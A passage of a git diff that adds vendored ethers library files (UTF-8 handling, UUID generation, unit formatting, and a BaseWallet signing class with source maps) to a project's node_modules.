assertArgument(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } + else if (unit != null) { + decimals = getNumber(unit, "unit"); + } + return FixedNumber.fromString(value, { decimals, width: 512 }).value; +} +/** + * Converts %%value%% into a //decimal string// using 18 decimal places. + */ +export function formatEther(wei) { + return formatUnits(wei, 18); +} +/** + * Converts the //decimal string// %%ether%% to a BigInt, using 18 + * decimal places. + */ +export function parseEther(ether) { + return parseUnits(ether, 18); +} +//# sourceMappingURL=units.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/units.js.map b/node_modules/ethers/lib.esm/utils/units.js.map new file mode 100644 index 000000000000..3b4fcfcbd2da --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/units.js.map @@ -0,0 +1 @@ +{"version":3,"file":"units.js","sourceRoot":"","sources":["../../src.ts/utils/units.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AACH,OAAO,EAAE,cAAc,EAAE,MAAM,aAAa,CAAC;AAC7C,OAAO,EAAE,WAAW,EAAE,MAAM,kBAAkB,CAAC;AAC/C,OAAO,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;AAKvC,MAAM,KAAK,GAAG;IACV,KAAK;IACL,MAAM;IACN,MAAM;IACN,MAAM;IACN,OAAO;IACP,QAAQ;IACR,OAAO;CACV,CAAC;AAEF;;;;;GAKG;AACH,MAAM,UAAU,WAAW,CAAC,KAAmB,EAAE,IAAuB;IACpE,IAAI,QAAQ,GAAG,EAAE,CAAC;IAClB,IAAI,OAAM,CAAC,IAAI,CAAC,KAAK,QAAQ,EAAE;QAC3B,MAAM,KAAK,GAAG,KAAK,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;QAClC,cAAc,CAAC,KAAK,IAAI,CAAC,EAAE,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,EAAE,CAAC,CAAC;AACjC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/utf8.d.ts b/node_modules/ethers/lib.esm/utils/utf8.d.ts new file mode 100644 index 000000000000..7bb87cc7d616 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/utf8.d.ts @@ -0,0 +1,96 @@ +import type { BytesLike } from "./index.js"; +/** + * The stanard normalization forms. + */ +export type UnicodeNormalizationForm = "NFC" | "NFD" | "NFKC" | "NFKD"; +/** + * When using the UTF-8 error API the following errors can be intercepted + * and processed as the %%reason%% passed to the [[Utf8ErrorFunc]]. + * + * **``"UNEXPECTED_CONTINUE"``** - a continuation byte was present where there + * was nothing to continue. + * + * **``"BAD_PREFIX"``** - an invalid (non-continuation) byte to start a + * UTF-8 codepoint was found. + * + * **``"OVERRUN"``** - the string is too short to process the expected + * codepoint length. + * + * **``"MISSING_CONTINUE"``** - a missing continuation byte was expected but + * not found. The %%offset%% indicates the index the continuation byte + * was expected at. + * + * **``"OUT_OF_RANGE"``** - the computed code point is outside the range + * for UTF-8. The %%badCodepoint%% indicates the computed codepoint, which was + * outside the valid UTF-8 range. + * + * **``"UTF16_SURROGATE"``** - the UTF-8 strings contained a UTF-16 surrogate + * pair. The %%badCodepoint%% is the computed codepoint, which was inside the + * UTF-16 surrogate range. + * + * **``"OVERLONG"``** - the string is an overlong representation. The + * %%badCodepoint%% indicates the computed codepoint, which has already + * been bounds checked. + * + * + * @returns string + */ +export type Utf8ErrorReason = "UNEXPECTED_CONTINUE" | "BAD_PREFIX" | "OVERRUN" | "MISSING_CONTINUE" | "OUT_OF_RANGE" | "UTF16_SURROGATE" | "OVERLONG"; +/** + * A callback that can be used with [[toUtf8String]] to analysis or + * recovery from invalid UTF-8 data. + * + * Parsing UTF-8 data is done through a simple Finite-State Machine (FSM) + * which calls the ``Utf8ErrorFunc`` if a fault is detected. + * + * The %%reason%% indicates where in the FSM execution the fault + * occurred and the %%offset%% indicates where the input failed. + * + * The %%bytes%% represents the raw UTF-8 data that was provided and + * %%output%% is the current array of UTF-8 code-points, which may + * be updated by the ``Utf8ErrorFunc``. + * + * The value of the %%badCodepoint%% depends on the %%reason%%. See + * [[Utf8ErrorReason]] for details. + * + * The function should return the number of bytes that should be skipped + * when control resumes to the FSM. + */ +export type Utf8ErrorFunc = (reason: Utf8ErrorReason, offset: number, bytes: Uint8Array, output: Array, badCodepoint?: number) => number; +/** + * A handful of popular, built-in UTF-8 error handling strategies. + * + * **``"error"``** - throws on ANY illegal UTF-8 sequence or + * non-canonical (overlong) codepoints (this is the default) + * + * **``"ignore"``** - silently drops any illegal UTF-8 sequence + * and accepts non-canonical (overlong) codepoints + * + * **``"replace"``** - replace any illegal UTF-8 sequence with the + * UTF-8 replacement character (i.e. ``"\\ufffd"``) and accepts + * non-canonical (overlong) codepoints + * + * @returns: Record<"error" | "ignore" | "replace", Utf8ErrorFunc> + */ +export declare const Utf8ErrorFuncs: Readonly>; +/** + * Returns the UTF-8 byte representation of %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +export declare function toUtf8Bytes(str: string, form?: UnicodeNormalizationForm): Uint8Array; +/** + * Returns the string represented by the UTF-8 data %%bytes%%. + * + * When %%onError%% function is specified, it is called on UTF-8 + * errors allowing recovery using the [[Utf8ErrorFunc]] API. + * (default: [error](Utf8ErrorFuncs)) + */ +export declare function toUtf8String(bytes: BytesLike, onError?: Utf8ErrorFunc): string; +/** + * Returns the UTF-8 code-points for %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +export declare function toUtf8CodePoints(str: string, form?: UnicodeNormalizationForm): Array; +//# sourceMappingURL=utf8.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/utf8.d.ts.map b/node_modules/ethers/lib.esm/utils/utf8.d.ts.map new file mode 100644 index 000000000000..9349623c089a --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/utf8.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"utf8.d.ts","sourceRoot":"","sources":["../../src.ts/utils/utf8.ts"],"names":[],"mappings":"AAWA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;AAK5C;;GAEG;AACH,MAAM,MAAM,wBAAwB,GAAG,KAAK,GAAG,KAAK,GAAG,MAAM,GAAG,MAAM,CAAC;AAEvE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AACH,MAAM,MAAM,eAAe,GAAG,qBAAqB,GAAG,YAAY,GAAG,SAAS,GAC1E,kBAAkB,GAAG,cAAc,GAAG,iBAAiB,GAAG,UAAU,CAAC;AAGzE;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,MAAM,aAAa,GAAG,CAAC,MAAM,EAAE,eAAe,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,UAAU,EAAE,MAAM,EAAE,KAAK,CAAC,MAAM,CAAC,EAAE,YAAY,CAAC,EAAE,MAAM,KAAK,MAAM,CAAC;AA6CjJ;;;;;;;;;;;;;;GAcG;AACH,eAAO,MAAM,cAAc,EAAE,QAAQ,CAAC,MAAM,CAAC,OAAO,GAAG,QAAQ,GAAG,SAAS,EAAE,aAAa,CAAC,CAIzF,CAAC;AAsGH;;;;GAIG;AACH,wBAAgB,WAAW,CAAC,GAAG,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,wBAAwB,GAAG,UAAU,CAyCpF;AAgBD;;;;;;GAMG;AACH,wBAAgB,YAAY,CAAC,KAAK,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,aAAa,GAAG,MAAM,CAE9E;AAED;;;;GAIG;AACH,wBAAgB,gBAAgB,CAAC,GAAG,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,wBAAwB,GAAG,KAAK,CAAC,MAAM,CAAC,CAE5F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/utf8.js b/node_modules/ethers/lib.esm/utils/utf8.js new file mode 100644 index 000000000000..9c540486ade3 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/utf8.js @@ -0,0 +1,221 @@ +/** + * Using strings in Ethereum (or any security-basd system) requires + * additional care. These utilities attempt to mitigate some of the + * safety issues as well as provide the ability to recover and analyse + * strings. + * + * @_subsection api/utils:Strings and UTF-8 [about-strings] + */ +import { getBytes } from "./data.js"; +import { assertArgument, assertNormalize } from "./errors.js"; +function errorFunc(reason, offset, bytes, output, badCodepoint) { + assertArgument(false, `invalid codepoint at offset ${offset}; ${reason}`, "bytes", bytes); +} +function ignoreFunc(reason, offset, bytes, output, badCodepoint) { + // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes + if (reason === "BAD_PREFIX" || reason === "UNEXPECTED_CONTINUE") { + let i = 0; + for (let o = offset + 1; o < bytes.length; o++) { + if (bytes[o] >> 6 !== 0x02) { + break; + } + i++; + } + return i; + } + // This byte runs us past the end of the string, so just jump to the end + // (but the first byte was read already read and therefore skipped) + if (reason === "OVERRUN") { + return bytes.length - offset - 1; + } + // Nothing to skip + return 0; +} +function replaceFunc(reason, offset, bytes, output, badCodepoint) { + // Overlong representations are otherwise "valid" code points; just non-deistingtished + if (reason === "OVERLONG") { + assertArgument(typeof (badCodepoint) === "number", "invalid bad code point for replacement", "badCodepoint", badCodepoint); + output.push(badCodepoint); + return 0; + } + // Put the replacement character into the output + output.push(0xfffd); + // Otherwise, process as if ignoring errors + return ignoreFunc(reason, offset, bytes, output, badCodepoint); +} +/** + * A handful of popular, built-in UTF-8 error handling strategies. + * + * **``"error"``** - throws on ANY illegal UTF-8 sequence or + * non-canonical (overlong) codepoints (this is the default) + * + * **``"ignore"``** - silently drops any illegal UTF-8 sequence + * and accepts non-canonical (overlong) codepoints + * + * **``"replace"``** - replace any illegal UTF-8 sequence with the + * UTF-8 replacement character (i.e. ``"\\ufffd"``) and accepts + * non-canonical (overlong) codepoints + * + * @returns: Record<"error" | "ignore" | "replace", Utf8ErrorFunc> + */ +export const Utf8ErrorFuncs = Object.freeze({ + error: errorFunc, + ignore: ignoreFunc, + replace: replaceFunc +}); +// http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499 +function getUtf8CodePoints(_bytes, onError) { + if (onError == null) { + onError = Utf8ErrorFuncs.error; + } + const bytes = getBytes(_bytes, "bytes"); + const result = []; + let i = 0; + // Invalid bytes are ignored + while (i < bytes.length) { + const c = bytes[i++]; + // 0xxx xxxx + if (c >> 7 === 0) { + result.push(c); + continue; + } + // Multibyte; how many bytes left for this character? + let extraLength = null; + let overlongMask = null; + // 110x xxxx 10xx xxxx + if ((c & 0xe0) === 0xc0) { + extraLength = 1; + overlongMask = 0x7f; + // 1110 xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf0) === 0xe0) { + extraLength = 2; + overlongMask = 0x7ff; + // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf8) === 0xf0) { + extraLength = 3; + overlongMask = 0xffff; + } + else { + if ((c & 0xc0) === 0x80) { + i += onError("UNEXPECTED_CONTINUE", i - 1, bytes, result); + } + else { + i += onError("BAD_PREFIX", i - 1, bytes, result); + } + continue; + } + // Do we have enough bytes in our data? + if (i - 1 + extraLength >= bytes.length) { + i += onError("OVERRUN", i - 1, bytes, result); + continue; + } + // Remove the length prefix from the char + let res = c & ((1 << (8 - extraLength - 1)) - 1); + for (let j = 0; j < extraLength; j++) { + let nextChar = bytes[i]; + // Invalid continuation byte + if ((nextChar & 0xc0) != 0x80) { + i += onError("MISSING_CONTINUE", i, bytes, result); + res = null; + break; + } + ; + res = (res << 6) | (nextChar & 0x3f); + i++; + } + // See above loop for invalid continuation byte + if (res === null) { + continue; + } + // Maximum code point + if (res > 0x10ffff) { + i += onError("OUT_OF_RANGE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Reserved for UTF-16 surrogate halves + if (res >= 0xd800 && res <= 0xdfff) { + i += onError("UTF16_SURROGATE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Check for overlong sequences (more bytes than needed) + if (res <= overlongMask) { + i += onError("OVERLONG", i - 1 - extraLength, bytes, result, res); + continue; + } + result.push(res); + } + return result; +} +// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array +/** + * Returns the UTF-8 byte representation of %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +export function toUtf8Bytes(str, form) { + assertArgument(typeof (str) === "string", "invalid string value", "str", str); + if (form != null) { + assertNormalize(form); + str = str.normalize(form); + } + let result = []; + for (let i = 0; i < str.length; i++) { + const c = str.charCodeAt(i); + if (c < 0x80) { + result.push(c); + } + else if (c < 0x800) { + result.push((c >> 6) | 0xc0); + result.push((c & 0x3f) | 0x80); + } + else if ((c & 0xfc00) == 0xd800) { + i++; + const c2 = str.charCodeAt(i); + assertArgument(i < str.length && ((c2 & 0xfc00) === 0xdc00), "invalid surrogate pair", "str", str); + // Surrogate Pair + const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff); + result.push((pair >> 18) | 0xf0); + result.push(((pair >> 12) & 0x3f) | 0x80); + result.push(((pair >> 6) & 0x3f) | 0x80); + result.push((pair & 0x3f) | 0x80); + } + else { + result.push((c >> 12) | 0xe0); + result.push(((c >> 6) & 0x3f) | 0x80); + result.push((c & 0x3f) | 0x80); + } + } + return new Uint8Array(result); +} +; +//export +function _toUtf8String(codePoints) { + return codePoints.map((codePoint) => { + if (codePoint <= 0xffff) { + return String.fromCharCode(codePoint); + } + codePoint -= 0x10000; + return String.fromCharCode((((codePoint >> 10) & 0x3ff) + 0xd800), ((codePoint & 0x3ff) + 0xdc00)); + }).join(""); +} +/** + * Returns the string represented by the UTF-8 data %%bytes%%. + * + * When %%onError%% function is specified, it is called on UTF-8 + * errors allowing recovery using the [[Utf8ErrorFunc]] API. + * (default: [error](Utf8ErrorFuncs)) + */ +export function toUtf8String(bytes, onError) { + return _toUtf8String(getUtf8CodePoints(bytes, onError)); +} +/** + * Returns the UTF-8 code-points for %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +export function toUtf8CodePoints(str, form) { + return getUtf8CodePoints(toUtf8Bytes(str, form)); +} +//# sourceMappingURL=utf8.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/utf8.js.map b/node_modules/ethers/lib.esm/utils/utf8.js.map new file mode 100644 index 000000000000..03143fcc54bd --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/utf8.js.map @@ -0,0 +1 @@ +{"version":3,"file":"utf8.js","sourceRoot":"","sources":["../../src.ts/utils/utf8.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,EAAE,QAAQ,EAAE,MAAM,WAAW,CAAC;AACrC,OAAO,EAAE,cAAc,EAAE,eAAe,EAAE,MAAM,aAAa,CAAC;AAuE9D,SAAS,SAAS,CAAC,MAAuB,EAAE,MAAc,EAAE,KAAiB,EAAE,MAAqB,EAAE,YAAqB;IACvH,cAAc,CAAC,KAAK,EAAE,+BAAgC,MAAO,KAAM,MAAO,EAAE,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;AAClG,CAAC;AAED,SAAS,UAAU,CAAC,MAAuB,EAAE,MAAc,EAAE,KAAiB,EAAE,MAAqB,EAAE,YAAqB;IAExH,uGAAuG;IACvG,IAAI,MAAM,KAAK,YAAY,IAAI,MAAM,KAAK,qBAAqB,EAAE;QAC7D,IAAI,CAAC,GAAG,CAAC,CAAC;QACV,KAAK,IAAI,CAAC,GAAG,MAAM,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;YAC5C,IAAI,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,IAAI,EAAE;gBAAE,MAAM;aAAE;YACtC,CAAC,EAAE,CAAC;SACP;QACD,OAAO,CAAC,CAAC;KACZ;IAED,wEAAwE;IACxE,mEAAmE;IACnE,IAAI,MAAM,KAAK,SAAS,EAAE;QACtB,OAAO,KAAK,CAAC,MAAM,GAAG,MAAM,GAAG,CAAC,CAAC;KACpC;IAED,kBAAkB;IAClB,OAAO,CAAC,CAAC;AACb,CAAC;AAED,SAAS,WAAW,CAAC,MA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AgB,EAAE,OAAuB;IAClE,OAAO,aAAa,CAAC,iBAAiB,CAAC,KAAK,EAAE,OAAO,CAAC,CAAC,CAAC;AAC5D,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,gBAAgB,CAAC,GAAW,EAAE,IAA+B;IACzE,OAAO,iBAAiB,CAAC,WAAW,CAAC,GAAG,EAAE,IAAI,CAAC,CAAC,CAAC;AACrD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/uuid.d.ts b/node_modules/ethers/lib.esm/utils/uuid.d.ts new file mode 100644 index 000000000000..7b746515759b --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/uuid.d.ts @@ -0,0 +1,8 @@ +import type { BytesLike } from "./index.js"; +/** + * Returns the version 4 [[link-uuid]] for the %%randomBytes%%. + * + * @see: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) + */ +export declare function uuidV4(randomBytes: BytesLike): string; +//# sourceMappingURL=uuid.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/uuid.d.ts.map b/node_modules/ethers/lib.esm/utils/uuid.d.ts.map new file mode 100644 index 000000000000..f3cf307c6733 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/uuid.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"uuid.d.ts","sourceRoot":"","sources":["../../src.ts/utils/uuid.ts"],"names":[],"mappings":"AAOA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;AAE5C;;;;GAIG;AACH,wBAAgB,MAAM,CAAC,WAAW,EAAE,SAAS,GAAG,MAAM,CAqBrD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/uuid.js b/node_modules/ethers/lib.esm/utils/uuid.js new file mode 100644 index 000000000000..a6a4595515ec --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/uuid.js @@ -0,0 +1,30 @@ +/** + * Explain UUID and link to RFC here. + * + * @_subsection: api/utils:UUID [about-uuid] + */ +import { getBytes, hexlify } from "./data.js"; +/** + * Returns the version 4 [[link-uuid]] for the %%randomBytes%%. + * + * @see: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) + */ +export function uuidV4(randomBytes) { + const bytes = getBytes(randomBytes, "randomBytes"); + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + const value = hexlify(bytes); + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); +} +//# sourceMappingURL=uuid.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/uuid.js.map b/node_modules/ethers/lib.esm/utils/uuid.js.map new file mode 100644 index 000000000000..cd02033b5e43 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/uuid.js.map @@ -0,0 +1 @@ +{"version":3,"file":"uuid.js","sourceRoot":"","sources":["../../src.ts/utils/uuid.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AAI9C;;;;GAIG;AACH,MAAM,UAAU,MAAM,CAAC,WAAsB;IACzC,MAAM,KAAK,GAAG,QAAQ,CAAC,WAAW,EAAE,aAAa,CAAC,CAAC;IAEnD,kBAAkB;IAClB,wCAAwC;IACxC,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC;IAEpC,cAAc;IACd,uCAAuC;IACvC,uCAAuC;IACvC,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC;IAEpC,MAAM,KAAK,GAAG,OAAO,CAAC,KAAK,CAAC,CAAC;IAE7B,OAAO;QACJ,KAAK,CAAC,SAAS,CAAC,CAAC,EAAE,EAAE,CAAC;QACtB,KAAK,CAAC,SAAS,CAAC,EAAE,EAAE,EAAE,CAAC;QACvB,KAAK,CAAC,SAAS,CAAC,EAAE,EAAE,EAAE,CAAC;QACvB,KAAK,CAAC,SAAS,CAAC,EAAE,EAAE,EAAE,CAAC;QACvB,KAAK,CAAC,SAAS,CAAC,EAAE,EAAE,EAAE,CAAC;KACzB,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;AAChB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/base-wallet.d.ts b/node_modules/ethers/lib.esm/wallet/base-wallet.d.ts new file mode 100644 index 000000000000..e47edb57099b --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/base-wallet.d.ts @@ -0,0 +1,57 @@ +import { AbstractSigner } from "../providers/index.js"; +import type { SigningKey } from "../crypto/index.js"; +import type { AuthorizationRequest, TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { Provider, TransactionRequest } from "../providers/index.js"; +import type { Authorization } from "../transaction/index.js"; +/** + * The **BaseWallet** is a stream-lined implementation of a + * [[Signer]] that operates with a private key. + * + * It is preferred to use the [[Wallet]] class, as it offers + * additional functionality and simplifies loading a variety + * of JSON formats, Mnemonic Phrases, etc. + * + * This class may be of use for those attempting to implement + * a minimal Signer. + */ +export declare class BaseWallet extends AbstractSigner { + #private; + /** + * The wallet address. + */ + readonly address: string; + /** + * Creates a new BaseWallet for %%privateKey%%, optionally + * connected to %%provider%%. + * + * If %%provider%% is not specified, only offline methods can + * be used. + */ + constructor(privateKey: SigningKey, provider?: null | Provider); + /** + * The [[SigningKey]] used for signing payloads. + */ + get signingKey(): SigningKey; + /** + * The private key for this wallet. + */ + get privateKey(): string; + getAddress(): Promise; + connect(provider: null | Provider): BaseWallet; + signTransaction(tx: TransactionRequest): Promise; + signMessage(message: string | Uint8Array): Promise; + /** + * Returns the signature for %%message%% signed with this wallet. + */ + signMessageSync(message: string | Uint8Array): string; + /** + * Returns the Authorization for %%auth%%. + */ + authorizeSync(auth: AuthorizationRequest): Authorization; + /** + * Resolves to the Authorization for %%auth%%. + */ + authorize(auth: AuthorizationRequest): Promise; + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; +} +//# sourceMappingURL=base-wallet.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/base-wallet.d.ts.map b/node_modules/ethers/lib.esm/wallet/base-wallet.d.ts.map new file mode 100644 index 000000000000..556ddc8cf666 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/base-wallet.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"base-wallet.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/base-wallet.ts"],"names":[],"mappings":"AAIA,OAAO,EAAE,cAAc,EAAe,MAAM,uBAAuB,CAAC;AAMpE,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,oBAAoB,CAAC;AACrD,OAAO,KAAK,EACR,oBAAoB,EAAE,eAAe,EAAE,cAAc,EACxD,MAAM,kBAAkB,CAAC;AAC1B,OAAO,KAAK,EAAE,QAAQ,EAAE,kBAAkB,EAAE,MAAM,uBAAuB,CAAC;AAC1E,OAAO,KAAK,EAAE,aAAa,EAAmB,MAAM,yBAAyB,CAAC;AAG9E;;;;;;;;;;GAUG;AACH,qBAAa,UAAW,SAAQ,cAAc;;IAC1C;;OAEG;IACH,QAAQ,CAAC,OAAO,EAAG,MAAM,CAAC;IAI1B;;;;;;OAMG;gBACS,UAAU,EAAE,UAAU,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ;IAc9D;;OAEG;IACH,IAAI,UAAU,IAAI,UAAU,CAA6B;IAEzD;;OAEG;IACH,IAAI,UAAU,IAAI,MAAM,CAAuC;IAEzD,UAAU,IAAI,OAAO,CAAC,MAAM,CAAC;IAEnC,OAAO,CAAC,QAAQ,EAAE,IAAI,GAAG,QAAQ,GAAG,UAAU;IAIxC,eAAe,CAAC,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAyBxD,WAAW,CAAC,OAAO,EAAE,MAAM,GAAG,UAAU,GAAG,OAAO,CAAC,MAAM,CAAC;IAMhE;;OAEG;IACH,eAAe,CAAC,OAAO,EAAE,MAAM,GAAG,UAAU,GAAG,MAAM;IAIrD;;OAEG;IACH,aAAa,CAAC,IAAI,EAAE,oBAAoB,GAAG,aAAa;IAYxD;;OAEG;IACG,SAAS,CAAC,IAAI,EAAE,oBAAoB,GAAG,OAAO,CAAC,aAAa,CAAC;IAO7D,aAAa,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC;CAsB1I"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/base-wallet.js b/node_modules/ethers/lib.esm/wallet/base-wallet.js new file mode 100644 index 000000000000..8218c2ad9bae --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/base-wallet.js @@ -0,0 +1,123 @@ +import { getAddress, resolveAddress } from "../address/index.js"; +import { hashAuthorization, hashMessage, TypedDataEncoder } from "../hash/index.js"; +import { AbstractSigner, copyRequest } from "../providers/index.js"; +import { computeAddress, Transaction } from "../transaction/index.js"; +import { defineProperties, getBigInt, resolveProperties, assert, assertArgument } from "../utils/index.js"; +/** + * The **BaseWallet** is a stream-lined implementation of a + * [[Signer]] that operates with a private key. + * + * It is preferred to use the [[Wallet]] class, as it offers + * additional functionality and simplifies loading a variety + * of JSON formats, Mnemonic Phrases, etc. + * + * This class may be of use for those attempting to implement + * a minimal Signer. + */ +export class BaseWallet extends AbstractSigner { + /** + * The wallet address. + */ + address; + #signingKey; + /** + * Creates a new BaseWallet for %%privateKey%%, optionally + * connected to %%provider%%. + * + * If %%provider%% is not specified, only offline methods can + * be used. + */ + constructor(privateKey, provider) { + super(provider); + assertArgument(privateKey && typeof (privateKey.sign) === "function", "invalid private key", "privateKey", "[ REDACTED ]"); + this.#signingKey = privateKey; + const address = computeAddress(this.signingKey.publicKey); + defineProperties(this, { address }); + } + // Store private values behind getters to reduce visibility + // in console.log + /** + * The [[SigningKey]] used for signing payloads. + */ + get signingKey() { return this.#signingKey; } + /** + * The private key for this wallet. + */ + get privateKey() { return this.signingKey.privateKey; } + async getAddress() { return this.address; } + connect(provider) { + return new BaseWallet(this.#signingKey, provider); + } + async signTransaction(tx) { + tx = copyRequest(tx); + // Replace any Addressable or ENS name with an address + const { to, from } = await resolveProperties({ + to: (tx.to ? resolveAddress(tx.to, this) : undefined), + from: (tx.from ? resolveAddress(tx.from, this) : undefined) + }); + if (to != null) { + tx.to = to; + } + if (from != null) { + tx.from = from; + } + if (tx.from != null) { + assertArgument(getAddress((tx.from)) === this.address, "transaction from address mismatch", "tx.from", tx.from); + delete tx.from; + } + // Build the transaction + const btx = Transaction.from(tx); + btx.signature = this.signingKey.sign(btx.unsignedHash); + return btx.serialized; + } + async signMessage(message) { + return this.signMessageSync(message); + } + // @TODO: Add a secialized signTx and signTyped sync that enforces + // all parameters are known? + /** + * Returns the signature for %%message%% signed with this wallet. + */ + signMessageSync(message) { + return this.signingKey.sign(hashMessage(message)).serialized; + } + /** + * Returns the Authorization for %%auth%%. + */ + authorizeSync(auth) { + assertArgument(typeof (auth.address) === "string", "invalid address for authorizeSync", "auth.address", auth); + const signature = this.signingKey.sign(hashAuthorization(auth)); + return Object.assign({}, { + address: getAddress(auth.address), + nonce: getBigInt(auth.nonce || 0), + chainId: getBigInt(auth.chainId || 0), + }, { signature }); + } + /** + * Resolves to the Authorization for %%auth%%. + */ + async authorize(auth) { + auth = Object.assign({}, auth, { + address: await resolveAddress(auth.address, this) + }); + return this.authorizeSync(await this.populateAuthorization(auth)); + } + async signTypedData(domain, types, value) { + // Populate any ENS names + const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (name) => { + // @TODO: this should use resolveName; addresses don't + // need a provider + assert(this.provider != null, "cannot resolve ENS names without a provider", "UNSUPPORTED_OPERATION", { + operation: "resolveName", + info: { name } + }); + const address = await this.provider.resolveName(name); + assert(address != null, "unconfigured ENS name", "UNCONFIGURED_NAME", { + value: name + }); + return address; + }); + return this.signingKey.sign(TypedDataEncoder.hash(populated.domain, types, populated.value)).serialized; + } +} +//# sourceMappingURL=base-wallet.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/base-wallet.js.map b/node_modules/ethers/lib.esm/wallet/base-wallet.js.map new file mode 100644 index 000000000000..e8f1c8b50528 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/base-wallet.js.map @@ -0,0 +1 @@ 